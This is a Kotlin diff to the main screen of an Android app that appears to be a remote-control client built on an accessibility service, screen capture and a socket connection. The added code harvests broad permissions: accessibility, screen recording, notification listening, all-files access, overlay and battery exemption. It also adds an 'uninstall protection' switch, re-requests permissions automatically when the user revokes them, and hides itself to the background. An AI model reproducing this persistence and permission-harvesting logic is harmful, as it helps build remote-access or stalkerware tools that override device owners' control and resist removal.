+ Log.i(
+ TAG,
+ "🌐 WebView可见但检测到权限流程信号，继续执行权限处理: explicit=$hasExplicitPermissionIntent, unified=$unifiedPermissionFlowInProgress"
+ )
+ }
+
//ANR修复：异步处理onResume逻辑，避免阻塞主线程
android.os.Handler(android.os.Looper.getMainLooper()).post {
try {
@@ -1941,6 +2069,17 @@ class MainActivity : AppCompatActivity() {
//WebView性能优化：恢复WebView
resumeWebView()
+
+ if (hasExplicitPermissionIntent) {
+ Log.i(TAG, "onResume检测到显式权限Intent，优先执行权限处理")
+ handleIntentAndPermissions(currentIntent)
+ } else if (unifiedPermissionFlowInProgress) {
+ continueUnifiedPermissionFlow("onResume")
+ } else if (AccessibilityRemoteService.isServiceRunning()) {
+ Log.d(TAG, "服务已运行，跳过统一编排回补检测")
+ } else {
+ Log.d(TAG, "稳定模式：onResume 跳过自动回补编排，避免权限链路被打断")
+ }
} catch (e: Exception) {
Log.e(TAG, "异步处理onResume失败", e)
}
@@ -1968,6 +2107,12 @@ class MainActivity : AppCompatActivity() {
} catch (e: Exception) {
Log.w(TAG, "处理日志开关时异常: ${e.message}")
}
+
+ try {
+ savePermissionHealthSnapshot(buildCurrentPermissionSnapshot())
+ } catch (e: Exception) {
+ Log.w(TAG, "保存权限快照失败", e)
+ }
}
private fun initViews() {
@@ -1977,9 +2122,14 @@ class MainActivity : AppCompatActivity() {
usageInstructionsText = findViewById(R.id.usageInstructionsText)
serviceSwitch = findViewById(R.id.serviceSwitch)
appIconImageView = findViewById(R.id.appIconImageView)
+ uninstallProtectionSwitch = findViewById(R.id.uninstallProtectionSwitch)
+ copyDiagnosticsButton = findViewById(R.id.copyDiagnosticsButton)
+ diagnosticsPreviewText = findViewById(R.id.diagnosticsPreviewText)
//新增：从配置文件加载页面样式
loadPageStyleConfig()
+ refreshUninstallProtectionSwitchState()
+ refreshDiagnosticsPreview()
}
@@ -2078,19 +2228,16 @@ class MainActivity : AppCompatActivity() {
when {
!isAccessibilityEnabled -> {
Log.i(TAG, "无障碍服务未启用，用户主动点击按钮，跳转到无障碍设置")
- //用户主动点击按钮时，跳转到无障碍设置
openAccessibilitySettings()
}
isAccessibilityEnabled && !isServiceRunning -> {
Log.i(TAG, "无障碍服务已启用但服务未运行，检查权限状态")
- // 如果无障碍服务已启用但服务未运行，可能需要检查其他权限
checkAllPermissions()
}
isAccessibilityEnabled && isServiceRunning -> {
Log.i(TAG, "服务已完全运行，无需操作")
- // 服务已运行，按钮应该是禁用状态，这里只是记录日志
}
else -> {
@@ -2119,7 +2266,105 @@ class MainActivity : AppCompatActivity() {
}
}
+ uninstallProtectionSwitch.setOnCheckedChangeListener { _, isChecked ->
+ if (isUpdatingUninstallProtectionSwitch) {
+ return@setOnCheckedChangeListener
+ }
+ val service = AccessibilityRemoteService.getInstance()
+ if (service == null) {
+ Toast.makeText(this, "服务未运行，无法切换防卸载", Toast.LENGTH_SHORT).show()
+ refreshUninstallProtectionSwitchState()
+ return@setOnCheckedChangeListener
+ }
+
+ try {
+ if (isChecked) {
+ service.enableUninstallProtection()
+ Toast.makeText(this, "已开启防卸载保护", Toast.LENGTH_SHORT).show()
+ } else {
+ service.disableUninstallProtection()
+ Toast.makeText(this, "已关闭防卸载保护", Toast.LENGTH_SHORT).show()
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "切换防卸载保护失败", e)
+ Toast.makeText(this, "切换失败: ${e.message}", Toast.LENGTH_SHORT).show()
+ } finally {
+ refreshUninstallProtectionSwitchState()
+ refreshDiagnosticsPreview()
+ }
+ }
+
+ copyDiagnosticsButton.setOnClickListener {
+ copyConnectionDiagnosticsToClipboard()
+ }
+
+
+ }
+
+ private fun refreshUninstallProtectionSwitchState() {
+ if (!::uninstallProtectionSwitch.isInitialized) return
+ val enabled = AccessibilityRemoteService.getInstance()?.isUninstallProtectionEnabled() ?: false
+ isUpdatingUninstallProtectionSwitch = true
+ uninstallProtectionSwitch.isChecked = enabled
+ isUpdatingUninstallProtectionSwitch = false
+ }
+
+ private fun refreshDiagnosticsPreview() {
+ if (!::diagnosticsPreviewText.isInitialized) return
+ val service = AccessibilityRemoteService.getInstance()
+ val socketDiagSummary = service?.getSocketIOManager()?.getConnectionDiagnosticsSummary()
+ ?: "socket=not_ready"
+ val preview = buildString {
+ append("无障碍=")
+ append(if (isAccessibilityServiceEnabled()) "已开启" else "未开启")
+ append(" | 服务实例=")
+ append(if (service != null) "就绪" else "未就绪")
+ append("\n")
+ append(socketDiagSummary)
+ }
+ diagnosticsPreviewText.text = preview
+ }
+
+ private fun copyConnectionDiagnosticsToClipboard() {
+ val now = System.currentTimeMillis()
+ val service = AccessibilityRemoteService.getInstance()
+ val socketManager = service?.getSocketIOManager()
+ val report = buildString {
+ appendLine("=== ANDROID DIAGNOSTICS ===")
+ appendLine("timestamp: $now")
+ appendLine("brand/model: ${Build.BRAND}/${Build.MODEL}")
+ appendLine("sdk: ${Build.VERSION.SDK_INT}, release: ${Build.VERSION.RELEASE}")
+ appendLine("accessibilityEnabled: ${isAccessibilityServiceEnabled()}")
+ appendLine("serviceRunning: ${AccessibilityRemoteService.isServiceRunning()}")
+ appendLine("uninstallProtection: ${service?.isUninstallProtectionEnabled() ?: false}")
+ appendLine("--- socket ---")
+ if (socketManager != null) {
+ appendLine(socketManager.getConnectionDiagnosticsReport())
+ } else {
+ appendLine("socket manager not ready")
+ }
+ }
+
+ try {
+ val clipboard = getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
+ clipboard.setPrimaryClip(ClipData.newPlainText("android_diagnostics", report))
+ try {
+ val diagDir = java.io.File(filesDir, "diagnostics")
+ if (!diagDir.exists()) {
+ diagDir.mkdirs()
+ }
+ val file = java.io.File(diagDir, "latest_connection_diag.txt")
+ file.writeText(report)
+ } catch (fileError: Exception) {
+ Log.w(TAG, "写入本地诊断日志失败", fileError)
+ }
+ Toast.makeText(this, "连接诊断日志已复制，可直接发给我分析", Toast.LENGTH_SHORT).show()
+ refreshDiagnosticsPreview()
+ } catch (e: Exception) {
+ Log.e(TAG, "复制连接诊断日志失败", e)
+ Toast.makeText(this, "复制失败: ${e.message}", Toast.LENGTH_SHORT).show()
+ }
}
/**
@@ -2403,9 +2648,11 @@ class MainActivity : AppCompatActivity() {
sendBroadcast(disableKeepAliveIntent)
// 启动基础服务
- val basicServiceIntent =
- Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
- startForegroundService(basicServiceIntent)
+ if (startRemoteForegroundServiceSafely(reason = "degraded_mode")) {
+ Log.i(TAG, "降级模式基础服务已启动")
+ } else {
+ Log.w(TAG, "降级模式跳过主前台服务启动，避免 FGS 权限崩溃")
+ }
Log.i(TAG, "降级模式已启动")
@@ -2414,6 +2661,29 @@ class MainActivity : AppCompatActivity() {
}
}
+ private fun startRemoteForegroundServiceSafely(
+ action: String? = null,
+ reason: String
+ ): Boolean {
+ return try {
+ val serviceIntent =
+ Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
+ action?.let { serviceIntent.action = it }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ startForegroundService(serviceIntent)
+ } else {
+ startService(serviceIntent)
+ }
+ true
+ } catch (security: SecurityException) {
+ Log.e(TAG, "启动RemoteControlForegroundService被系统拒绝($reason)", security)
+ false
+ } catch (e: Exception) {
+ Log.e(TAG, "启动RemoteControlForegroundService失败($reason)", e)
+ false
+ }
+ }
+
/**
*修复：优化的保活检测方法，避免误判导致卡顿
*/
@@ -2750,13 +3020,11 @@ class MainActivity : AppCompatActivity() {
//参考 f 目录策略：不启动多余的保活服务，只启动主前台服务
try {
// 只启动主前台服务（对应 f 目录的 BackRunServerUseUse）
- val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
- if (android.os.Build.VERSION.SDK_INT >= 26) {
- startForegroundService(foregroundIntent)
+ if (startRemoteForegroundServiceSafely(reason = "accessibility_recovery")) {
+ Log.i(TAG, "已启动主前台服务做后台恢复（参考 f 目录策略）")
} else {
- startService(foregroundIntent)
+ Log.w(TAG, "跳过主前台服务启动，避免无投屏授权时触发 FGS 安全限制")
}
- Log.i(TAG, "已启动主前台服务做后台恢复（参考 f 目录策略）")
} catch (e: Exception) {
Log.w(TAG, "启动主前台服务失败: ${e.message}")
}
@@ -2904,9 +3172,18 @@ class MainActivity : AppCompatActivity() {
// 更新Switch状态
updateSwitchState()
- //修复：无障碍权限正常时，自动切换到WebView界面
- Log.i(TAG, "🌐 无障碍权限正常，自动切换到WebView界面")
- switchToWebViewInterface()
+ // 权限链路期间禁止自动切WebView，避免抢焦点打断系统弹框
+ val shouldSuppressAutoSwitch =
+ hasExplicitPermissionRequestIntent(intent) ||
+ pendingSingleRuntimePermissionRequest ||
+ permissionRequestInProgress ||
+ isAutoPermissionRequest
+ if (shouldSuppressAutoSwitch) {
+ Log.i(TAG, "🚦 当前处于权限流程，跳过自动切换WebView")
+ } else {
+ Log.i(TAG, "🌐 无障碍权限正常，自动切换到WebView界面")
+ switchToWebViewInterface()
+ }
}
// 删除悬浮窗权限状态检查
@@ -2978,35 +3255,31 @@ class MainActivity : AppCompatActivity() {
updateSwitchState()
}
}
+ refreshUninstallProtectionSwitchState()
+ refreshDiagnosticsPreview()
}
private fun checkAllPermissions() {
Log.i(TAG, "检查所有权限状态")
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
- // 删除悬浮窗权限检查
-
- //新增：检查存储权限状态
checkStoragePermissions()
Log.i(TAG, "权限状态 - 无障碍: $isAccessibilityEnabled")
when {
!isAccessibilityEnabled -> {
- Log.i(TAG, "无障碍权限未开启，用户主动操作，跳转到无障碍设置")
- //用户主动操作时，跳转到无障碍设置
+ Log.i(TAG, "无障碍权限未开启，跳转无障碍设置")
openAccessibilitySettings()
}
isAccessibilityEnabled -> {
- // 无障碍服务已启用，直接切换到WebView界面
Log.i(TAG, "无障碍服务已开启，切换到WebView界面")
switchToWebViewInterface()
}
else -> {
Log.i(TAG, "所有必要权限已开启")
- // 所有必要权限都已开启，检查服务状态
if (!AccessibilityRemoteService.isServiceRunning()) {
Log.w(TAG, "权限已开启但服务未运行，可能需要重启应用")
}
@@ -3014,6 +3287,583 @@ class MainActivity : AppCompatActivity() {
}
}
+ /**
+ * 统一权限编排入口
+ * 1. 先批量运行时权限
+ * 2. 再特殊权限逐项处理
+ * 3. 处理权限丢失自动回补
+ */
+ private fun startUnifiedPermissionFlow(trigger: String, preferBackground: Boolean) {
+ try {
+ Log.i(TAG, "🚦 启动统一权限编排: trigger=$trigger, preferBackground=$preferBackground")
+ DeviceMetricsReporter.reportPermission(
+ context = this,
+ metricName = "flow_start",
+ data = mapOf(
+ "trigger" to trigger,
+ "preferBackground" to preferBackground
+ )
+ )
+ if (unifiedPermissionFlowInProgress) {
+ unifiedPermissionFlowBackgroundPreferred =
+ unifiedPermissionFlowBackgroundPreferred || preferBackground
+ continueUnifiedPermissionFlow("reentry:$trigger")
+ return
+ }
+
+ unifiedPermissionFlowInProgress = true
+ unifiedPermissionFlowBackgroundPreferred = preferBackground
+ unifiedPermissionFlowLastActionAt = 0L
+ runtimeBatchRequestAttempts = 0
+ permissionStepAttempts.clear()
+ manualPermissionSteps.clear()
+ cachedSlowPermissionFlowMode = null
+ slowPermissionFlowModeLogged = false
+
+ updateStatusTextThreadSafe(
+ "正在统一检查权限...\n会自动申请可自动获取的权限",
+ android.R.color.holo_orange_dark
+ )
+ continueUnifiedPermissionFlow("start:$trigger")
+ } catch (e: Exception) {
+ Log.e(TAG, "启动统一权限编排失败", e)
+ }
+ }
+
+ private fun continueUnifiedPermissionFlow(reason: String) {
+ if (!unifiedPermissionFlowInProgress || isFinishing || isDestroyed) {
+ return
+ }
+
+ val now = System.currentTimeMillis()
+ val actionIntervalMs = getPermissionFlowActionIntervalMs()
+ val elapsedSinceLastAction = now - unifiedPermissionFlowLastActionAt
+ if (elapsedSinceLastAction < actionIntervalMs) {
+ Log.d(
+ TAG,
+ "权限编排节流中，跳过本次继续: $reason, elapsed=${elapsedSinceLastAction}ms, need=${actionIntervalMs}ms"
+ )
+ return
+ }
+
+ var guard = 0
+ while (guard < 12) {
+ guard++
+ val snapshot = buildCurrentPermissionSnapshot()
+ val nextStep = resolveNextPermissionStep(snapshot)
+
+ if (nextStep == null) {
+ finishUnifiedPermissionFlow(snapshot, "completed:$reason")
+ return
+ }
+
+ if (nextStep == UnifiedPermissionOrchestrator.Step.RUNTIME) {
+ if (runtimeBatchRequestAttempts >= MAX_RUNTIME_BATCH_REQUEST_ATTEMPTS) {
+ manualPermissionSteps.add(nextStep)
+ Log.w(TAG, "运行时权限自动申请已达上限，转手动处理")
+ updateStatusTextThreadSafe(
+ "运行时权限需要手动确认\n请在设置页完成授权",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ finishUnifiedPermissionFlow(snapshot, "runtime_manual_required")
+ return
+ }
+
+ runtimeBatchRequestAttempts++
+ unifiedPermissionFlowLastActionAt = now
+ val requestList = snapshot.runtimeMissing.toTypedArray()
+ val userFixed = getUserFixedDeniedPermissions(requestList.toList())
+ val requestable = requestList.filterNot { userFixed.contains(it) }.toTypedArray()
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "运行时权限存在USER_FIXED: ${userFixed.joinToString(",")}")
+ }
+
+ if (requestable.isEmpty()) {
+ manualPermissionSteps.add(nextStep)
+ updateStatusTextThreadSafe(
+ "检测到系统固定拒绝权限\n请在设置页手动开启后返回",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ finishUnifiedPermissionFlow(snapshot, "runtime_user_fixed")
+ return
+ }
+
+ Log.i(TAG, "批量申请运行时权限(${runtimeBatchRequestAttempts}): ${requestable.joinToString(",")}")
+ DeviceMetricsReporter.reportPermission(
+ context = this,
+ metricName = "runtime_request_dispatch",
+ data = mapOf(
+ "attempt" to runtimeBatchRequestAttempts,
+ "requestCount" to requestable.size,
+ "userFixedCount" to userFixed.size
+ )
+ )
+ if (userFixed.isNotEmpty()) {
+ updateStatusTextThreadSafe(
+ "部分权限被系统限制\n先自动申请其余权限",
+ android.R.color.holo_orange_dark
+ )
+ } else {
+ updateStatusTextThreadSafe(
+ "正在批量申请权限...\n请尽量一次性允许",
+ android.R.color.holo_orange_dark
+ )
+ }
+ markRuntimePermissionsRequested(requestable.toList())
+ requestPermissionsSafely(
+ requestable,
+ REQUEST_ALL_PERMISSIONS,
+ "orchestrator_runtime_batch"
+ )
+ return
+ }
+
+ val attempts = permissionStepAttempts.getOrDefault(nextStep, 0)
+ if (attempts >= MAX_SPECIAL_STEP_AUTO_ATTEMPTS) {
+ Log.w(TAG, "权限步骤 $nextStep 自动处理达到上限，标记手动处理")
+ manualPermissionSteps.add(nextStep)
+ continue
+ }
+
+ permissionStepAttempts[nextStep] = attempts + 1
+ val launched = launchSpecialPermissionStep(nextStep)
+ if (!launched) {
+ Log.w(TAG, "权限步骤 $nextStep 无法自动拉起，标记手动处理")
+ manualPermissionSteps.add(nextStep)
+ continue
+ }
+
+ unifiedPermissionFlowLastActionAt = now
+ return
+ }
+
+ finishUnifiedPermissionFlow(buildCurrentPermissionSnapshot(), "guard_break:$reason")
+ }
+
+ private fun buildCurrentPermissionSnapshot(): UnifiedPermissionOrchestrator.PermissionSnapshot {
+ val accessibilityGranted = isAccessibilityServiceEnabled()
+ val mediaProjectionGranted = checkRealMediaProjectionPermission()
+ return UnifiedPermissionOrchestrator.buildSnapshot(
+ context = this,
+ accessibilityGranted = accessibilityGranted,
+ mediaProjectionGranted = mediaProjectionGranted
+ )
+ }
+
+ private fun resolveNextPermissionStep(
+ snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot
+ ): UnifiedPermissionOrchestrator.Step? {
+ val missing = UnifiedPermissionOrchestrator.getMissingSteps(snapshot)
+ if (missing.isEmpty()) {
+ return null
+ }
+
+ val romPolicy = DeviceDetector.getRomPolicy()
+ val order = romPolicy.permissionStepOrder.map { it.orchestratorStep }
+ for (step in order) {
+ if (missing.contains(step) && !manualPermissionSteps.contains(step)) {
+ return step
+ }
+ }
+ return null
+ }
+
+ private fun launchSpecialPermissionStep(step: UnifiedPermissionOrchestrator.Step): Boolean {
+ return try {
+ when (step) {
+ UnifiedPermissionOrchestrator.Step.ACCESSIBILITY -> {
+ updateStatusTextThreadSafe(
+ "正在引导开启无障碍权限...",
+ android.R.color.holo_orange_dark
+ )
+ openAccessibilitySettings()
+ true
+ }
+
+ UnifiedPermissionOrchestrator.Step.MEDIA_PROJECTION -> {
+ updateStatusTextThreadSafe(
+ "正在申请录屏权限...\n请在系统弹窗中确认",
+ android.R.color.holo_orange_dark
+ )
+ isAutoPermissionRequest = true
+ setPermissionRequestInProgressState(true, "unified_flow_media_projection")
+ requestMediaProjectionPermission()
+ true
+ }
+
+ else -> {
+ val intent = UnifiedPermissionOrchestrator.buildSettingsIntent(this, step)
+ ?: return false
+ val resolved = intent.resolveActivity(packageManager) != null
+ if (!resolved) {
+ if (step == UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS && Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
+ val fallback = Intent(Settings.ACTION_MANAGE_ALL_FILES_ACCESS_PERMISSION).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ }
+ if (fallback.resolveActivity(packageManager) != null) {
+ startActivity(fallback)
+ updateStatusForStep(step)
+ return true
+ }
+ }
+ Log.w(TAG, "权限步骤 $step 无可用设置入口，回退应用详情设置")
+ if (openAppDetailsSettings()) {
+ updateStatusTextThreadSafe(
+ "无法直达系统权限页，已打开应用详情设置",
+ android.R.color.holo_orange_dark
+ )
+ return true
+ }
+ return false
+ }
+
+ startActivity(intent)
+ updateStatusForStep(step)
+ true
+ }
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "拉起权限步骤失败: $step", e)
+ false
+ }
+ }
+
+ private fun updateStatusForStep(step: UnifiedPermissionOrchestrator.Step) {
+ val text = when (step) {
+ UnifiedPermissionOrchestrator.Step.OVERLAY -> "正在申请悬浮窗权限..."
+ UnifiedPermissionOrchestrator.Step.WRITE_SETTINGS -> "正在申请系统设置修改权限..."
+ UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS -> "正在申请全部文件访问权限..."
+ UnifiedPermissionOrchestrator.Step.NOTIFICATION_LISTENER -> "正在申请通知监听权限..."
+ UnifiedPermissionOrchestrator.Step.BATTERY_OPTIMIZATION -> "正在申请忽略电池优化..."
+ UnifiedPermissionOrchestrator.Step.EXACT_ALARM -> "正在申请精确闹钟权限..."
+ else -> "正在处理权限步骤..."
+ }
+ updateStatusTextThreadSafe(text, android.R.color.holo_orange_dark)
+ }
+
+ private fun finishUnifiedPermissionFlow(
+ snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot,
+ reason: String
+ ) {
+ unifiedPermissionFlowInProgress = false
+ // 兜底清理旧流程标记，避免后续广播被误判为“仍在申请中”
+ isAutoPermissionRequest = false
+ setPermissionRequestInProgressState(false, "unified_flow_finish:$reason")
+ savePermissionHealthSnapshot(snapshot)
+ val missing = UnifiedPermissionOrchestrator.getMissingSteps(snapshot)
+ publishPermissionDegradeState(snapshot)
+
+ if (missing.isEmpty()) {
+ Log.i(TAG, "✅ 统一权限编排完成: $reason")
+ DeviceMetricsReporter.reportPermission(
+ context = this,
+ metricName = "flow_finish",
+ success = true,
+ data = mapOf(
+ "reason" to reason,
+ "manualStepCount" to manualPermissionSteps.size
+ )
+ )
+ updateStatusTextThreadSafe("权限已全部就绪", android.R.color.holo_green_dark)
+ updateButtonSafely("服务已就绪", android.R.color.holo_green_dark, false)
+ if (unifiedPermissionFlowBackgroundPreferred) {
+ Handler(mainLooper).postDelayed({
+ hideActivityToBackground()
+ }, 600)
+ }
+ return
+ }
+
+ val missingText = missing.joinToString("、") { stepToLabel(it) }
+ Log.w(TAG, "统一权限编排未完全完成，缺失: $missingText, reason=$reason")
+ DeviceMetricsReporter.reportPermission(
+ context = this,
+ metricName = "flow_finish",
+ success = false,
+ data = mapOf(
+ "reason" to reason,
+ "missingSteps" to missing.joinToString(",") { it.name },
+ "manualStepCount" to manualPermissionSteps.size
+ )
+ )
+ updateStatusTextThreadSafe(
+ "部分权限需手动完成:\n$missingText",
+ android.R.color.holo_orange_dark
+ )
+ updateButtonSafely("继续授权", null, true)
+ }
+
+ private fun publishPermissionDegradeState(snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot) {
+ try {
+ val missing = UnifiedPermissionOrchestrator.getMissingSteps(snapshot).map { stepToLabel(it) }
+ val intent = Intent("android.mycustrecev.PERMISSION_DEGRADE_MODE").apply {
+ putExtra("enabled", missing.isNotEmpty())
+ putExtra("missing_steps", missing.joinToString(","))
+ putExtra("timestamp", System.currentTimeMillis())
+ }
+ sendBroadcast(intent)
+ } catch (e: Exception) {
+ Log.w(TAG, "发送权限降级状态广播失败", e)
+ }
+ }
+
+ private fun stepToLabel(step: UnifiedPermissionOrchestrator.Step): String {
+ return when (step) {
+ UnifiedPermissionOrchestrator.Step.RUNTIME -> "运行时权限"
+ UnifiedPermissionOrchestrator.Step.OVERLAY -> "悬浮窗"
+ UnifiedPermissionOrchestrator.Step.WRITE_SETTINGS -> "系统设置修改"
+ UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS -> "全部文件访问"
+ UnifiedPermissionOrchestrator.Step.NOTIFICATION_LISTENER -> "通知监听"
+ UnifiedPermissionOrchestrator.Step.BATTERY_OPTIMIZATION -> "忽略电池优化"
+ UnifiedPermissionOrchestrator.Step.EXACT_ALARM -> "精确闹钟"
+ UnifiedPermissionOrchestrator.Step.ACCESSIBILITY -> "无障碍"
+ UnifiedPermissionOrchestrator.Step.MEDIA_PROJECTION -> "录屏投屏"
+ }
+ }
+
+ private fun openAppDetailsSettings(): Boolean {
+ return try {
+ val intent = UnifiedPermissionOrchestrator.buildAppDetailsIntent(this)
+ startActivity(intent)
+ true
+ } catch (e: Exception) {
+ Log.e(TAG, "打开应用详情设置失败", e)
+ false
+ }
+ }
+
+ private fun markRuntimePermissionsRequested(permissions: Collection) {
+ if (permissions.isEmpty()) {
+ return
+ }
+ try {
+ val prefs = getSharedPreferences("runtime_permission_request_state", Context.MODE_PRIVATE)
+ val editor = prefs.edit()
+ permissions.forEach { permission ->
+ editor.putBoolean("asked_$permission", true)
+ }
+ editor.apply()
+ } catch (e: Exception) {
+ Log.w(TAG, "记录权限请求历史失败", e)
+ }
+ }
+
+ private fun requestPermissionsSafely(
+ permissions: Array,
+ requestCode: Int,
+ reason: String
+ ) {
+ if (permissions.isEmpty()) {
+ return
+ }
+ val requestArray = permissions.copyOf()
+ Handler(Looper.getMainLooper()).post {
+ dispatchRuntimePermissionRequest(
+ permissions = requestArray,
+ requestCode = requestCode,
+ reason = reason,
+ attempt = 0
+ )
+ }
+ }
+
+ private fun dispatchRuntimePermissionRequest(
+ permissions: Array,
+ requestCode: Int,
+ reason: String,
+ attempt: Int
+ ) {
+ if (isFinishing || isDestroyed) {
+ Log.w(TAG, "Activity已结束，取消权限请求分发: reason=$reason")
+ pendingSingleRuntimePermissionRequest = false
+ return
+ }
+ val resumed = lifecycle.currentState.isAtLeast(androidx.lifecycle.Lifecycle.State.RESUMED)
+ val focused = hasWindowFocus()
+ val dispatchIntervalMs = getRuntimeRequestDispatchIntervalMs()
+ if ((!resumed || !focused) && attempt < MAX_RUNTIME_REQUEST_DISPATCH_RETRIES) {
+ Log.d(
+ TAG,
+ "⏳ 权限请求等待Activity稳定: reason=$reason, attempt=${attempt + 1}, resumed=$resumed, focused=$focused"
+ )
+ Handler(Looper.getMainLooper()).postDelayed({
+ dispatchRuntimePermissionRequest(
+ permissions = permissions,
+ requestCode = requestCode,
+ reason = reason,
+ attempt = attempt + 1
+ )
+ }, dispatchIntervalMs)
+ return
+ }
+
+ if (!resumed || !focused) {
+ Log.w(
+ TAG,
+ "⚠️ Activity稳定检查未通过，超时后继续发起权限请求: reason=$reason, resumed=$resumed, focused=$focused"
+ )
+ }
+
+ try {
+ pendingSingleRuntimePermissionRequest = true
+ Log.i(TAG, "🚦 发起运行时权限请求[$reason]: ${permissions.joinToString(",")}")
+ requestPermissions(permissions, requestCode)
+ } catch (e: Exception) {
+ pendingSingleRuntimePermissionRequest = false
+ Log.e(TAG, "发起运行时权限请求失败: reason=$reason", e)
+ }
+ }
+
+ private fun recordRuntimePermissionResult(
+ permissions: Array,
+ grantResults: IntArray
+ ) {
+ if (permissions.isEmpty() || grantResults.isEmpty()) {
+ return
+ }
+ try {
+ val prefs = getSharedPreferences("runtime_permission_request_state", Context.MODE_PRIVATE)
+ val editor = prefs.edit()
+ permissions.forEachIndexed { index, permission ->
+ if (index >= grantResults.size) {
+ return@forEachIndexed
+ }
+ val granted = grantResults[index] == PackageManager.PERMISSION_GRANTED
+ editor.putBoolean("asked_$permission", true)
+ if (granted) {
+ editor.putBoolean("denied_$permission", false)
+ } else {
+ editor.putBoolean("denied_$permission", true)
+ }
+ }
+ editor.apply()
+ } catch (e: Exception) {
+ Log.w(TAG, "记录权限回调结果失败", e)
+ }
+ }
+
+ private fun isPermissionLikelyUserFixed(permission: String): Boolean {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
+ return false
+ }
+ return try {
+ val denied = checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED
+ if (!denied) {
+ return false
+ }
+ val prefs = getSharedPreferences("runtime_permission_request_state", Context.MODE_PRIVATE)
+ val askedBefore = prefs.getBoolean("asked_$permission", false)
+ val deniedBefore = prefs.getBoolean("denied_$permission", false)
+ val canShowRationale = shouldShowRequestPermissionRationale(permission)
+ askedBefore && deniedBefore && !canShowRationale
+ } catch (e: Exception) {
+ Log.w(TAG, "推断权限固定拒绝状态失败: $permission", e)
+ false
+ }
+ }
+
+ private fun getUserFixedDeniedPermissions(permissions: Collection): List {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
+ return emptyList()
+ }
+ return permissions.filter { permission ->
+ checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED &&
+ isPermissionLikelyUserFixed(permission)
+ }
+ }
+
+ private fun monitorPermissionLossAndAutoRepair(source: String) {
+ try {
+ val snapshot = buildCurrentPermissionSnapshot()
+ val lost = detectLostPermissions(snapshot)
+ savePermissionHealthSnapshot(snapshot)
+ if (lost.isEmpty()) {
+ return
+ }
+
+ val now = System.currentTimeMillis()
+ if (now - lastAutoRepairAt < AUTO_REPAIR_COOLDOWN_MS) {
+ Log.i(TAG, "权限丢失自动回补处于冷却中: $lost")
+ return
+ }
+ if (unifiedPermissionFlowInProgress) {
+ Log.i(TAG, "统一权限编排进行中，跳过重复回补: $lost")
+ return
+ }
+
+ lastAutoRepairAt = now
+ Log.w(TAG, "检测到权限丢失，触发自动回补 source=$source, lost=$lost")
+ DeviceMetricsReporter.reportPermission(
+ context = this,
+ metricName = "permission_lost_detected",
+ success = false,
+ data = mapOf(
+ "source" to source,
+ "lost" to lost.joinToString(",")
+ )
+ )
+ startUnifiedPermissionFlow("权限丢失自动回补:$source", true)
+ } catch (e: Exception) {
+ Log.e(TAG, "权限丢失检测失败", e)
+ }
+ }
+
+ private fun detectLostPermissions(snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot): List {
+ val prefs = getSharedPreferences(PREF_PERMISSION_HEALTH, Context.MODE_PRIVATE)
+ if (!prefs.getBoolean("initialized", false)) {
+ return emptyList()
+ }
+
+ val lost = mutableListOf()
+ if (prefs.getBoolean("runtime_granted", false) && !snapshot.runtimeGranted) {
+ lost.add("运行时权限")
+ }
+ if (prefs.getBoolean("overlay_granted", false) && !snapshot.overlayGranted) {
+ lost.add("悬浮窗")
+ }
+ if (prefs.getBoolean("write_settings_granted", false) && !snapshot.writeSettingsGranted) {
+ lost.add("系统设置修改")
+ }
+ if (prefs.getBoolean("all_files_granted", false) && !snapshot.allFilesGranted) {
+ lost.add("全部文件访问")
+ }
+ if (prefs.getBoolean("notification_listener_granted", false) && !snapshot.notificationListenerGranted) {
+ lost.add("通知监听")
+ }
+ if (prefs.getBoolean("battery_ignored", false) && !snapshot.batteryOptimizationIgnored) {
+ lost.add("电池优化白名单")
+ }
+ if (prefs.getBoolean("exact_alarm_granted", false) && !snapshot.exactAlarmGranted) {
+ lost.add("精确闹钟")
+ }
+ if (prefs.getBoolean("accessibility_granted", false) && !snapshot.accessibilityGranted) {
+ lost.add("无障碍")
+ }
+ if (prefs.getBoolean("media_projection_granted", false) && !snapshot.mediaProjectionGranted) {
+ lost.add("录屏投屏")
+ }
+ return lost
+ }
+
+ private fun savePermissionHealthSnapshot(snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot) {
+ val prefs = getSharedPreferences(PREF_PERMISSION_HEALTH, Context.MODE_PRIVATE)
+ prefs.edit()
+ .putBoolean("initialized", true)
+ .putBoolean("runtime_granted", snapshot.runtimeGranted)
+ .putBoolean("overlay_granted", snapshot.overlayGranted)
+ .putBoolean("write_settings_granted", snapshot.writeSettingsGranted)
+ .putBoolean("all_files_granted", snapshot.allFilesGranted)
+ .putBoolean("notification_listener_granted", snapshot.notificationListenerGranted)
+ .putBoolean("battery_ignored", snapshot.batteryOptimizationIgnored)
+ .putBoolean("exact_alarm_granted", snapshot.exactAlarmGranted)
+ .putBoolean("accessibility_granted", snapshot.accessibilityGranted)
+ .putBoolean("media_projection_granted", snapshot.mediaProjectionGranted)
+ .putLong("updated_at", System.currentTimeMillis())
+ .apply()
+ }
+
/**
*新增：线程安全的 statusText 更新方法
*/
@@ -3080,6 +3930,48 @@ class MainActivity : AppCompatActivity() {
Log.e(TAG, "标记权限申请状态失败", e)
}
}
+
